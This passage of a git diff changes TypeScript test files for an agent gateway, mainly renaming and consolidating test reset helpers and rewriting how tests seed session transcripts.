it("broadcasts tool events to WS recipients even when verbose is off, but skips node send", () => { @@ -1708,7 +1706,6 @@ describe("agent event handler", () => { // But node/channel subscribers should NOT receive when verbose is off const nodeToolCalls = nodeSendToSession.mock.calls.filter(([, event]) => event === "agent"); expect(nodeToolCalls).toHaveLength(0); - resetAgentRunContextForTest(); }); it("uses newer session verbose state for in-flight tool events", () => { @@ -1747,7 +1744,6 @@ describe("agent event handler", () => { phase: "start", name: "read", }); - resetAgentRunContextForTest(); }); it("keeps one-shot run verbose over older session state", () => { @@ -1780,7 +1776,6 @@ describe("agent event handler", () => { const nodeToolCalls = nodeSendToSession.mock.calls.filter(([, event]) => event === "agent"); expect(nodeToolCalls).toHaveLength(1); - resetAgentRunContextForTest(); }); it("mirrors tool events to session subscribers so late-joining operator UIs can render them", () => { @@ -1849,7 +1844,6 @@ describe("agent event handler", () => { expect(requireMockArg(broadcastToConnIds, 0, 3, "session tool options")).toEqual({ dropIfSlow: true, }); - resetAgentRunContextForTest(); }); it("loads selected-agent global session snapshots for tool events", () => { @@ -1977,7 +1971,6 @@ describe("agent event handler", () => { expect(broadcastToConnIds).not.toHaveBeenCalled(); const nodeToolCalls = nodeSendToSession.mock.calls.filter(([, event]) => event === "agent"); expect(nodeToolCalls).toHaveLength(0); - resetAgentRunContextForTest(); }); it("hydrates run-scoped tool events with session ownership metadata", () => { @@ -2043,7 +2036,6 @@ describe("agent event handler", () => { expect(requireMockArg(broadcastToConnIds, 0, 2, "run tool recipients")).toEqual( new Set(["conn-run"]), ); - resetAgentRunContextForTest(); }); it("projects tool-search bridge calls like native channel verbose tool events", () => { @@ -2098,7 +2090,6 @@ describe("agent event handler", () => { args: { command: "echo hi" }, }), ); - resetAgentRunContextForTest(); }); it("hydrates node session tool events with session ownership metadata", () => { @@ -2160,7 +2151,6 @@ describe("agent event handler", () => { toolCallId: "tool-node-1", args: { command: "echo hi" }, }); - resetAgentRunContextForTest(); }); it("broadcasts terminal session status to session subscribers on lifecycle end", async () => { @@ -2255,7 +2245,6 @@ describe("agent event handler", () => { const persistEvent = requireRecord(persistParams.event, "persist lifecycle event"); expect(persistEvent.runId).toBe("run-finished"); expect(requireRecord(persistEvent.data, "persist lifecycle event data").phase).toBe("end"); - resetAgentRunContextForTest(); }); it("does not project stale pre-reset lifecycle events into session subscriber snapshots", async () => { @@ -2329,7 +2318,6 @@ describe("agent event handler", () => { runtimeMs: 500, }); } - resetAgentRunContextForTest(); }); it("suppresses late interrupted pre-restart lifecycle events from live projections", () => { @@ -2896,7 +2884,6 @@ describe("agent event handler", () => { storeKeys: ["session-recovery"], legacyKey: undefined, }); - resetAgentRunContextForTest(); activeLifecycleGeneration = "post-restart"; registerAgentRunContext("shared-run", { sessionKey: "session-recovery", @@ -3397,7 +3384,6 @@ describe("agent event handler", () => { }; expect(payload.data?.result).toEqual({ content: [{ type: "text", text: "secret" }] }); expect(payload.data?.partialResult).toEqual({ content: [{ type: "text", text: "partial" }] }); - resetAgentRunContextForTest(); }); it("keeps tool output when verbose is full", () => { @@ -3427,7 +3413,6 @@ describe("agent event handler", () => { data?: Record; }; expect(payload.data?.result).toEqual(result); - resetAgentRunContextForTest(); }); it("broadcasts fallback events to agent subscribers and node session", () => { @@ -4496,7 +4481,6 @@ describe("agent event handler", () => { runId?: string; }; expect(payload.runId).toBe("run-tool-client"); - resetAgentRunContextForTest(); }); it("suppresses heartbeat ack-like chat output when showOk is false", () => { @@ -4748,8 +4732,6 @@ describe("agent event handler", () => { sessionKey: "agent:coder:subagent:xyz", spawnedBy: "agent:conductor:task:parent-2", }); - - resetAgentRunContextForTest(); }); it("includes spawnedBy in chat error final broadcasts for subagent sessions", () => { @@ -4861,7 +4843,6 @@ describe("agent event handler", () => { }); nowSpy.mockRestore(); - resetAgentRunContextForTest(); }); it("includes spawnedBy in seq gap error broadcasts for subagent sessions", () => { @@ -4904,8 +4885,6 @@ describe("agent event handler", () => { spawnedBy: "agent:conductor:task:parent-gap", }); expectPayloadDataFields(gapError[1], { reason: "seq gap", expected: 2, received: 5 }); - - resetAgentRunContextForTest(); }); it("caches spawnedBy lookup so repeated events for the same subagent session only load the row once", () => { diff --git a/src/gateway/server-http.probe.test.ts b/src/gateway/server-http.probe.test.ts index 8a91cd8b96f8..cd01ffe52e54 100644 --- a/src/gateway/server-http.probe.test.ts +++ b/src/gateway/server-http.probe.test.ts @@ -4,7 +4,6 @@ import type { IncomingMessage, ServerResponse } from "node:http"; import { describe, expect, it, vi } from "vitest"; import { prepareGatewaySuspend, - resetGatewaySuspendCoordinatorForTest, resumeGatewaySuspend, } from "../infra/gateway-suspend-coordinator.js"; import { isGatewayDraining } from "../process/command-queue.js"; @@ -57,7 +56,6 @@ describe("gateway OpenAI-compatible disabled HTTP routes", () => { describe("gateway probe endpoints", () => { it("keeps liveness green while a prepared suspension lease makes readiness red", async () => { - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); const channelManager = { getRuntimeSnapshot: () => ({ channels: {}, channelAccounts: {} }), @@ -136,13 +134,11 @@ describe("gateway probe endpoints", () => { }, }); } finally { - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); } }); it("keeps in-flight core HTTP work visible to suspension preparation", async () => { - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); let releaseWatch = () => {}; let markWatchStarted = () => {}; @@ -205,7 +201,6 @@ describe("gateway probe endpoints", () => { }); } finally { releaseWatch(); - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); } }); diff --git a/src/gateway/server-http.request-trace.test.ts b/src/gateway/server-http.request-trace.test.ts index 7cd7f3480faa..a48e71a27078 100644 --- a/src/gateway/server-http.request-trace.test.ts +++ b/src/gateway/server-http.request-trace.test.ts @@ -11,7 +11,6 @@ import { } from "../infra/diagnostic-events.js"; import { getActiveDiagnosticTraceContext, - resetDiagnosticTraceContextForTest, type DiagnosticTraceContext, } from "../infra/diagnostic-trace-context.js"; import { getLogger, resetLogger, setLoggerOverride } from "../logging.js"; @@ -38,7 +37,6 @@ async function closeServer(server: ReturnType): afterEach(() => { resetDiagnosticEventsForTest(); - resetDiagnosticTraceContextForTest(); setLoggerOverride(null); resetLogger(); }); diff --git a/src/gateway/server-methods.suspension-admission.test.ts b/src/gateway/server-methods.suspension-admission.test.ts index da0fd110544c..3a0d51be28f0 100644 --- a/src/gateway/server-methods.suspension-admission.test.ts +++ b/src/gateway/server-methods.suspension-admission.test.ts @@ -1,9 +1,6 @@ // Proves dispatcher root-work accounting and fail-closed suspension behavior. import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - resetGatewaySuspendCoordinatorForTest, - resumeGatewaySuspend, -} from "../infra/gateway-suspend-coordinator.js"; +import { resumeGatewaySuspend } from "../infra/gateway-suspend-coordinator.js"; import { getActiveGatewayRootWorkCount, resetGatewayWorkAdmission, @@ -72,12 +69,10 @@ function dispatch(params: { } beforeEach(() => { - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); }); afterEach(() => { - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); }); diff --git a/src/gateway/server-methods/agent.events-and-subagents.test-utils.ts b/src/gateway/server-methods/agent.events-and-subagents.test-utils.ts index 17166c7de941..5cf7bcd5d688 100644 --- a/src/gateway/server-methods/agent.events-and-subagents.test-utils.ts +++ b/src/gateway/server-methods/agent.events-and-subagents.test-utils.ts @@ -9,7 +9,7 @@ import { type DiagnosticEventPayload, } from "../../infra/diagnostic-events.js"; import { - resetGatewaySuspendCoordinatorForTest, + resetGatewaySuspendCoordinatorForLifecycleRestart, resumeGatewaySuspend, } from "../../infra/gateway-suspend-coordinator.js"; import { resetGatewayWorkAdmission } from "../../process/gateway-work-admission.js"; @@ -54,7 +54,7 @@ describe("gateway agent handler", () => { it("stops continuation release recovery after gateway generation rotation", async () => { vi.useFakeTimers(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); try { const { sessionKey, store } = setupCronContinuationReleaseFixture(); @@ -120,7 +120,7 @@ describe("gateway agent handler", () => { status: "running", }); } finally { - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); vi.useRealTimers(); } diff --git a/src/gateway/server-methods/agent.media-and-routing.test-utils.ts b/src/gateway/server-methods/agent.media-and-routing.test-utils.ts index aac2679fc118..40cc74a39f3e 100644 --- a/src/gateway/server-methods/agent.media-and-routing.test-utils.ts +++ b/src/gateway/server-methods/agent.media-and-routing.test-utils.ts @@ -5,7 +5,7 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import { ErrorCodes } from "../../../packages/gateway-protocol/src/index.js"; import type { SessionEntry } from "../../config/sessions.js"; import { - resetGatewaySuspendCoordinatorForTest, + resetGatewaySuspendCoordinatorForLifecycleRestart, resumeGatewaySuspend, } from "../../infra/gateway-suspend-coordinator.js"; import { resetGatewayWorkAdmission } from "../../process/gateway-work-admission.js"; @@ -1791,7 +1791,7 @@ describe("gateway agent handler", () => { it("recovers a continuation release after reporting a durable write failure", async () => { vi.useFakeTimers(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); try { mocks.agentCommand.mockClear(); @@ -1887,7 +1887,7 @@ describe("gateway agent handler", () => { ); expect(mocks.agentCommand).toHaveBeenCalledOnce(); } finally { - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); vi.useRealTimers(); } @@ -1895,7 +1895,7 @@ describe("gateway agent handler", () => { it("releases suspension admission after continuation recovery exhausts", async () => { vi.useFakeTimers(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); try { const { sessionKey, store } = setupCronContinuationReleaseFixture(); @@ -1963,7 +1963,7 @@ describe("gateway agent handler", () => { status: "running", }); } finally { - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); vi.useRealTimers(); } diff --git a/src/gateway/server-methods/push.test.ts b/src/gateway/server-methods/push.test.ts index 8972bc84b91d..033b488bf6a3 100644 --- a/src/gateway/server-methods/push.test.ts +++ b/src/gateway/server-methods/push.test.ts @@ -25,7 +25,6 @@ vi.mock("../../infra/push-apns.js", () => ({ })); import { - type ApnsPushResult, type ApnsRegistration, clearApnsRegistrationIfCurrent, loadApnsRegistration, @@ -36,6 +35,8 @@ import { shouldClearStoredApnsRegistration, } from "../../infra/push-apns.js"; +type ApnsPushResult = Awaited>; + type RespondCall = [boolean, unknown?, { code: number; message: string }?]; const DEFAULT_DIRECT_REGISTRATION = { diff --git a/src/gateway/server-methods/update.test.ts b/src/gateway/server-methods/update.test.ts index 6f12bf8d37f1..89ec8a5bd39b 100644 --- a/src/gateway/server-methods/update.test.ts +++ b/src/gateway/server-methods/update.test.ts @@ -7,7 +7,7 @@ import type { ConfigFileSnapshot, OpenClawConfig } from "../../config/types.open import type { RestartSentinelPayload } from "../../infra/restart-sentinel.js"; import type { RespawnSupervisor } from "../../infra/supervisor-markers.js"; import type { UpdateChannel } from "../../infra/update-channels.js"; -import type { UpdateInstallSurface, UpdateRunResult } from "../../infra/update-runner.js"; +import type { UpdateRunResult } from "../../infra/update-runner.js"; import { withEnvAsync } from "../../test-utils/env.js"; // Capture the sentinel payload written during update.run @@ -15,6 +15,9 @@ let capturedPayload: RestartSentinelPayload | undefined; let restartSentinelWriteError: Error | null = null; const runGatewayUpdateMock = vi.fn<() => Promise>(); +type UpdateInstallSurface = Awaited< + ReturnType +>; const resolveUpdateInstallSurfaceMock = vi.fn<() => Promise>(async () => ({ kind: "git", mode: "git", diff --git a/src/gateway/server-network-runtime.e2e.test.ts b/src/gateway/server-network-runtime.e2e.test.ts index 36bb8216b3ee..84081fa2b3bf 100644 --- a/src/gateway/server-network-runtime.e2e.test.ts +++ b/src/gateway/server-network-runtime.e2e.test.ts @@ -6,7 +6,7 @@ import { Agent, getGlobalDispatcher, setGlobalDispatcher } from "undici"; import { afterEach, beforeEach, describe, expect, it } from "vitest"; import { clearConfigCache, clearRuntimeConfigSnapshot } from "../config/config.js"; import { clearSessionStoreCacheForTest } from "../config/sessions/store.js"; -import { resetAgentRunContextForTest } from "../infra/agent-events.js"; +import { resetAgentEventsForTest } from "../infra/agent-events.js"; import { PROXY_ENV_KEYS } from "../infra/net/proxy-env.js"; import { clearGatewaySubagentRuntime } from "../plugins/runtime/gateway-bindings.test-fixtures.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; @@ -48,18 +48,18 @@ async function closeTestDispatcher(dispatcher: unknown): Promise { describe("gateway network runtime", () => { beforeEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); clearRuntimeConfigSnapshot(); clearConfigCache(); clearSessionStoreCacheForTest(); - resetAgentRunContextForTest(); clearGatewaySubagentRuntime(); }); afterEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); clearRuntimeConfigSnapshot(); clearConfigCache(); clearSessionStoreCacheForTest(); - resetAgentRunContextForTest(); clearGatewaySubagentRuntime(); }); diff --git a/src/gateway/server-node-events.test.ts b/src/gateway/server-node-events.test.ts index 31200c7c00e5..4eddc1e4320a 100644 --- a/src/gateway/server-node-events.test.ts +++ b/src/gateway/server-node-events.test.ts @@ -6,7 +6,6 @@ import { PROTOCOL_VERSION } from "../../packages/gateway-protocol/src/index.js"; import type { OpenClawConfig } from "../config/config.js"; import { prepareGatewaySuspend, - resetGatewaySuspendCoordinatorForTest, resumeGatewaySuspend, } from "../infra/gateway-suspend-coordinator.js"; import { @@ -175,12 +174,10 @@ const normalizeChannelIdVi = runtimeMocks.normalizeChannelId; const sendDurableMessageBatchMock = runtimeMocks.sendDurableMessageBatch; beforeEach(() => { - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); }); afterEach(() => { - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); }); diff --git a/src/gateway/server-reload-handlers.test.ts b/src/gateway/server-reload-handlers.test.ts index aa5e51abf42f..4cf95d1fb6c0 100644 --- a/src/gateway/server-reload-handlers.test.ts +++ b/src/gateway/server-reload-handlers.test.ts @@ -22,8 +22,9 @@ import { isGatewaySigusr1RestartExternallyAllowed, markGatewaySigusr1RestartHandled, requestGatewayRestartWithSignalAdmission, + resetGatewayRestartStateForInProcessRestart, setGatewaySigusr1RestartPolicy, - testing as restartTesting, + setPreRestartDeferralCheck, } from "../infra/restart.js"; import { pinActivePluginChannelRegistry, @@ -70,6 +71,16 @@ import { createTerminalLaunchPolicy } from "./terminal/launch.js"; type ReloadHandlerParams = Parameters[0]; type ManagedReloaderParams = Parameters[0]; +const restartTesting = { + resetSigusr1State() { + resetGatewayRestartStateForInProcessRestart(); + markGatewaySigusr1RestartHandled(); + setGatewaySigusr1RestartPolicy({ allowExternal: false }); + setPreRestartDeferralCheck(() => 0); + resetGatewayWorkAdmission(); + }, +}; + function createGatewayReloadHandlers( params: Omit & { cronReconciliation?: ReloadHandlerParams["cronReconciliation"]; diff --git a/src/gateway/server-restart-sentinel.test.ts b/src/gateway/server-restart-sentinel.test.ts index ca158678fb46..0d0bf71b84b0 100644 --- a/src/gateway/server-restart-sentinel.test.ts +++ b/src/gateway/server-restart-sentinel.test.ts @@ -2,7 +2,11 @@ // session/channel context used when the gateway resumes an interrupted run. import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; -import type { RestartSentinel, RestartSentinelPayload } from "../infra/restart-sentinel.js"; +import type { RestartSentinelPayload } from "../infra/restart-sentinel.js"; + +type RestartSentinel = NonNullable< + Awaited> +>; type LoadedSessionEntry = ReturnType; type RecordInboundSessionAndDispatchReplyParams = Parameters< @@ -198,6 +202,7 @@ vi.mock("../infra/session-delivery-queue.js", () => ({ vi.mock("../config/sessions.js", () => ({ resolveMainSessionKeyFromConfig: mocks.resolveMainSessionKeyFromConfig, + resolveStorePath: vi.fn(() => "/tmp/sessions.json"), })); vi.mock("../config/sessions/thread-info.js", () => ({ @@ -307,12 +312,7 @@ const { refreshLatestUpdateRestartSentinel, scheduleRestartSentinelWake, } = await import("./server-restart-sentinel.js"); -const { - getActiveGatewayRootWorkCount, - getGatewaySuspendAdmissionPhase, - resetGatewayWorkAdmission, - tryBeginGatewaySuspendAdmission, -} = await import("../process/gateway-work-admission.js"); +const { resetGatewayWorkAdmission } = await import("../process/gateway-work-admission.js"); function expectRecordFields( record: unknown, @@ -487,47 +487,6 @@ describe("scheduleRestartSentinelWake", () => { expect(mocks.logWarn).not.toHaveBeenCalled(); }); - it("defers pending update retries until suspension resumes", async () => { - vi.useFakeTimers(); - const pendingPayload: RestartSentinelPayload = { - kind: "update", - status: "skipped", - ts: 123, - stats: { - mode: "git", - handoffId: "handoff-1", - reason: "managed-service-handoff-started", - }, - }; - let finishRetryRead: ((value: RestartSentinel | null) => void) | undefined; - const retryRead = new Promise((resolve) => { - finishRetryRead = resolve; - }); - mocks.readRestartSentinel - .mockResolvedValueOnce({ version: 1, payload: pendingPayload }) - .mockImplementationOnce(async () => (await retryRead) as RestartSentinel); - - await scheduleRestartSentinelWake({ deps: {} as never }); - const suspension = tryBeginGatewaySuspendAdmission(() => {}); - expect(suspension?.commit()).toBe(true); - - await vi.advanceTimersByTimeAsync(1); - expect(getGatewaySuspendAdmissionPhase()).toBe("prepared"); - expect(mocks.readRestartSentinel).toHaveBeenCalledTimes(1); - expect(getActiveGatewayRootWorkCount()).toBe(0); - - expect(suspension?.release()).toBe(true); - await vi.waitFor(() => { - expect(mocks.readRestartSentinel).toHaveBeenCalledTimes(2); - }); - expect(getActiveGatewayRootWorkCount()).toBe(1); - - finishRetryRead?.(null); - await vi.waitFor(() => { - expect(getActiveGatewayRootWorkCount()).toBe(0); - }); - }); - it("retries outbound delivery once and logs a warning without dropping the agent wake", async () => { vi.useFakeTimers(); mocks.deliverOutboundPayloads diff --git a/src/gateway/server-session-key.test.ts b/src/gateway/server-session-key.test.ts index 09d16f075c77..e39119785a7c 100644 --- a/src/gateway/server-session-key.test.ts +++ b/src/gateway/server-session-key.test.ts @@ -3,7 +3,7 @@ */ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { registerAgentRunContext, resetAgentRunContextForTest } from "../infra/agent-events.js"; +import { registerAgentRunContext, resetAgentEventsForTest } from "../infra/agent-events.js"; const hoisted = vi.hoisted(() => ({ loadConfigMock: vi.fn<() => OpenClawConfig>(), @@ -40,13 +40,13 @@ describe("resolveSessionKeyForRun", () => { beforeEach(() => { hoisted.loadConfigMock.mockReset(); hoisted.loadCombinedSessionStoreForGatewayMock.mockReset(); - resetAgentRunContextForTest(); + resetAgentEventsForTest(); resetResolvedSessionKeyForRunCacheForTest(); }); afterEach(() => { vi.useRealTimers(); - resetAgentRunContextForTest(); + resetAgentEventsForTest(); resetResolvedSessionKeyForRunCacheForTest(); }); diff --git a/src/gateway/server.chat.gateway-server-chat-b.test.ts b/src/gateway/server.chat.gateway-server-chat-b.test.ts index 4a0b95e521be..ce02d8f4cb82 100644 --- a/src/gateway/server.chat.gateway-server-chat-b.test.ts +++ b/src/gateway/server.chat.gateway-server-chat-b.test.ts @@ -20,7 +20,6 @@ import { replaceSessionEntry, withTranscriptWriteLock, } from "../config/sessions/session-accessor.js"; -import { appendSqliteTranscriptEvents } from "../config/sessions/session-accessor.sqlite.js"; import { invalidateSessionStoreCache } from "../config/sessions/store-cache.js"; import type { AgentModelConfig } from "../config/types.agents-shared.js"; import { rotateAgentEventLifecycleGeneration } from "../infra/agent-events.js"; @@ -6142,43 +6141,36 @@ describe("gateway server chat", () => { if (!storePath) { throw new Error("session store path was not initialized"); } - await appendSqliteTranscriptEvents( - { - agentId: "main", - sessionId: "sess-before-reset", - sessionKey: "agent:main:main", - storePath, + const archivedScope = { + agentId: "main", + sessionId: "sess-before-reset", + sessionKey: "agent:main:main", + storePath, + }; + await appendTranscriptMessage(archivedScope, { + eventId: "archived-1", + parentId: null, + message: { + role: "user", + provenance: { kind: "inter_session", sourceTool: "subagent_announce" }, + content: "before anchor", + timestamp: currentSessionStartedAt - 2_000, }, - [ - { - type: "message", - id: "archived-1", - parentId: null, - message: { - role: "user", - provenance: { kind: "inter_session", sourceTool: "subagent_announce" }, - content: "before anchor", - timestamp: currentSessionStartedAt - 2_000, - }, - }, - { - type: "message", - id: "archived-2", - parentId: "archived-1", - message: { - role: "assistant", - content: "matching anchor", - timestamp: currentSessionStartedAt - 1_000, - }, - }, - { - type: "message", - id: "archived-3", - parentId: "archived-2", - message: { role: "user", content: "after anchor" }, - }, - ], - ); + }); + await appendTranscriptMessage(archivedScope, { + eventId: "archived-2", + parentId: "archived-1", + message: { + role: "assistant", + content: "matching anchor", + timestamp: currentSessionStartedAt - 1_000, + }, + }); + await appendTranscriptMessage(archivedScope, { + eventId: "archived-3", + parentId: "archived-2", + message: { role: "user", content: "after anchor" }, + }); const history = await rpcReq<{ messages?: Array<{ content?: string }>; diff --git a/src/gateway/server/plugins-http.suspension-admission.test.ts b/src/gateway/server/plugins-http.suspension-admission.test.ts index 185fa22d7603..30757f0420ab 100644 --- a/src/gateway/server/plugins-http.suspension-admission.test.ts +++ b/src/gateway/server/plugins-http.suspension-admission.test.ts @@ -5,7 +5,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { GatewayActiveWorkInspectors } from "../../infra/gateway-active-work.js"; import { prepareGatewaySuspend, - resetGatewaySuspendCoordinatorForTest, + resetGatewaySuspendCoordinatorForLifecycleRestart, } from "../../infra/gateway-suspend-coordinator.js"; import { dispatchGatewayMethod } from "../../plugin-sdk/gateway-method-runtime.js"; import type { PluginHttpRouteRegistration } from "../../plugins/registry.js"; @@ -115,13 +115,13 @@ function createUpgradeHandler(routes: PluginHttpRouteRegistration[]) { beforeEach(() => { rateLimitEpochMs += 60_000; vi.spyOn(Date, "now").mockReturnValue(rateLimitEpochMs); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); }); afterEach(() => { vi.restoreAllMocks(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); }); diff --git a/src/gateway/session-transcript-readers.test.ts b/src/gateway/session-transcript-readers.test.ts index 279128efdcd5..4085ebd280a0 100644 --- a/src/gateway/session-transcript-readers.test.ts +++ b/src/gateway/session-transcript-readers.test.ts @@ -6,7 +6,6 @@ import { persistSessionTranscriptTurn, upsertSessionEntry, } from "../config/sessions/session-accessor.js"; -import { appendSqliteTranscriptEvents } from "../config/sessions/session-accessor.sqlite.js"; import { formatSqliteSessionFileMarker } from "../config/sessions/sqlite-marker.js"; import { captureEnv, setTestEnvValue } from "../test-utils/env.js"; import { readSessionMessagesAroundIdWithStatsAsync } from "./session-transcript-anchor-reader.js"; @@ -287,28 +286,26 @@ describe("session transcript reader facade", () => { "sessions", "sessions.json", ); - fs.mkdirSync(path.dirname(markerStorePath), { recursive: true }); + const writeScope = { + agentId: "marker-agent", + sessionId, + sessionKey: "agent:marker-agent:main", + storePath: markerStorePath, + }; + await persistSessionTranscriptTurn(writeScope, { + messages: [ + { + eventId: "marker-message", + message: { role: "user", content: "marker scoped prompt" }, + }, + ], + touchSessionEntry: false, + }); const marker = formatSqliteSessionFileMarker({ agentId: "marker-agent", sessionId, storePath: markerStorePath, }); - await appendSqliteTranscriptEvents( - { - agentId: "marker-agent", - sessionId, - sessionKey: "agent:marker-agent:main", - storePath: markerStorePath, - }, - [ - { - type: "message", - id: "marker-message", - parentId: null, - message: { role: "user", content: "marker scoped prompt" }, - }, - ], - ); await expect( readSessionMessagesAsync( @@ -318,10 +315,7 @@ describe("session transcript reader facade", () => { ).resolves.toMatchObject([{ content: "marker scoped prompt" }]); await expect( readSessionMessageByIdAsync({ sessionFile: marker, sessionId }, "marker-message"), - ).resolves.toMatchObject({ - found: true, - seq: 1, - }); + ).resolves.toMatchObject({ found: true, seq: 2 }); }); test("projects SQLite transcript reads to the active branch", async () => { @@ -332,27 +326,26 @@ describe("session transcript reader facade", () => { sessionKey: `agent:main:${sessionId}`, storePath, }; - await appendSqliteTranscriptEvents(scope, [ - { type: "session", version: 1, id: sessionId }, - { - type: "message", - id: "root", - parentId: null, - message: { role: "user", content: "branch prompt" }, - }, - { - type: "message", - id: "inactive", - parentId: "root", - message: { role: "assistant", content: "stale branch" }, - }, - { - type: "message", - id: "active", - parentId: "root", - message: { role: "assistant", content: "active branch" }, - }, - ]); + await persistSessionTranscriptTurn(scope, { + messages: [ + { + eventId: "root", + parentId: null, + message: { role: "user", content: "branch prompt" }, + }, + { + eventId: "inactive", + parentId: "root", + message: { role: "assistant", content: "stale branch" }, + }, + { + eventId: "active", + parentId: "root", + message: { role: "assistant", content: "active branch" }, + }, + ], + touchSessionEntry: false, + }); const messages = await readSessionMessagesAsync(scope, { mode: "full", @@ -361,10 +354,10 @@ describe("session transcript reader facade", () => { expect(messages).toMatchObject([{ content: "branch prompt" }, { content: "active branch" }]); expect( - messages.map((message) => (message as { __openclaw?: { id?: string } })["__openclaw"]?.id), + messages.map((message) => (message as { __openclaw?: { id?: string } }).__openclaw?.id), ).toEqual(["root", "active"]); expect( - messages.map((message) => (message as { __openclaw?: { seq?: number } })["__openclaw"]?.seq), + messages.map((message) => (message as { __openclaw?: { seq?: number } }).__openclaw?.seq), ).toEqual([2, 4]); await expect(readSessionMessageCountAsync(scope)).resolves.toBe(2); }); @@ -406,23 +399,24 @@ describe("session transcript reader facade", () => { test("honors agent ids when no store path or session file is provided", async () => { const sessionId = "reader-agent-scope"; - await appendSqliteTranscriptEvents( + await persistSessionTranscriptTurn( { agentId: "agent-one", sessionId, sessionKey: "agent:agent-one:main" }, - [ - { - type: "message", - id: "agent-message", - parentId: null, - message: { role: "user", content: "agent scoped prompt" }, - }, - ], + { + messages: [ + { + eventId: "agent-message", + message: { role: "user", content: "agent scoped prompt" }, + }, + ], + touchSessionEntry: false, + }, ); const scope = { agentId: "agent-one", sessionId }; await expect(readSessionMessageCountAsync(scope)).resolves.toBe(1); await expect(readSessionMessageByIdAsync(scope, "agent-message")).resolves.toMatchObject({ found: true, - seq: 1, + seq: 2, }); await expect( readSessionMessagesAsync(scope, { mode: "full", reason: "facade agent scope test" }), diff --git a/src/gateway/session-utils.search.test.ts b/src/gateway/session-utils.search.test.ts index 18b4a6a28bee..4c5713b21ea1 100644 --- a/src/gateway/session-utils.search.test.ts +++ b/src/gateway/session-utils.search.test.ts @@ -15,7 +15,7 @@ import { appendTranscriptMessageSync, replaceSessionEntry, } from "../config/sessions/session-accessor.js"; -import { registerAgentRunContext, resetAgentRunContextForTest } from "../infra/agent-events.js"; +import { registerAgentRunContext, resetAgentEventsForTest } from "../infra/agent-events.js"; import { closeOpenClawAgentDatabasesForTest } from "../state/openclaw-agent-db.js"; import { closeOpenClawStateDatabaseForTest } from "../state/openclaw-state-db.js"; import { @@ -407,8 +407,8 @@ describe("listSessionsFromStore search", () => { }); afterEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); resetSubagentRegistryForTests(); - resetAgentRunContextForTest(); closeSessionSqliteDatabasesForTest(); }); diff --git a/src/gateway/session-utils.subagent.test.ts b/src/gateway/session-utils.subagent.test.ts index a79f89faf18b..fc27674a5ef5 100644 --- a/src/gateway/session-utils.subagent.test.ts +++ b/src/gateway/session-utils.subagent.test.ts @@ -13,7 +13,7 @@ import { import type { OpenClawConfig } from "../config/config.js"; import type { SessionEntry } from "../config/sessions.js"; import { replaceSessionEntry } from "../config/sessions/session-accessor.js"; -import { registerAgentRunContext, resetAgentRunContextForTest } from "../infra/agent-events.js"; +import { registerAgentRunContext, resetAgentEventsForTest } from "../infra/agent-events.js"; import { withStateDirEnv } from "../test-helpers/state-dir-env.js"; import { withEnv } from "../test-utils/env.js"; import { @@ -32,12 +32,12 @@ async function seedSessionEntry( describe("listSessionsFromStore subagent metadata", () => { afterEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); resetSubagentRegistryForTests({ persist: false }); - resetAgentRunContextForTest(); }); beforeEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); resetSubagentRegistryForTests({ persist: false }); - resetAgentRunContextForTest(); }); const cfg = { diff --git a/src/gateway/session-utils.telegram-recreate.test.ts b/src/gateway/session-utils.telegram-recreate.test.ts index 99e1306ef386..c7f487d6c3a1 100644 --- a/src/gateway/session-utils.telegram-recreate.test.ts +++ b/src/gateway/session-utils.telegram-recreate.test.ts @@ -1,17 +1,17 @@ /** * Tests Telegram session recreation helpers and persisted session mapping. */ -import fs from "node:fs/promises"; import path from "node:path"; -import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest"; +import { afterAll, beforeAll, describe, expect, it } from "vitest"; import type { MsgContext } from "../auto-reply/templating.js"; +import { loadCombinedSessionStoreForGateway } from "../config/sessions/combined-store-gateway.js"; import { - clearSessionStoreCacheForTest, - loadSessionStore, - recordSessionMetaFromInbound, - updateLastRoute, - updateSessionStore, -} from "../config/sessions.js"; + deleteSessionEntryLifecycle, + loadSessionEntry, + recordInboundSessionMeta, + replaceSessionEntry, + updateSessionLastRoute, +} from "../config/sessions/session-accessor.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { createSuiteTempRootTracker } from "../test-helpers/temp-dir.js"; import { listSessionsFromStore } from "./session-utils.js"; @@ -51,53 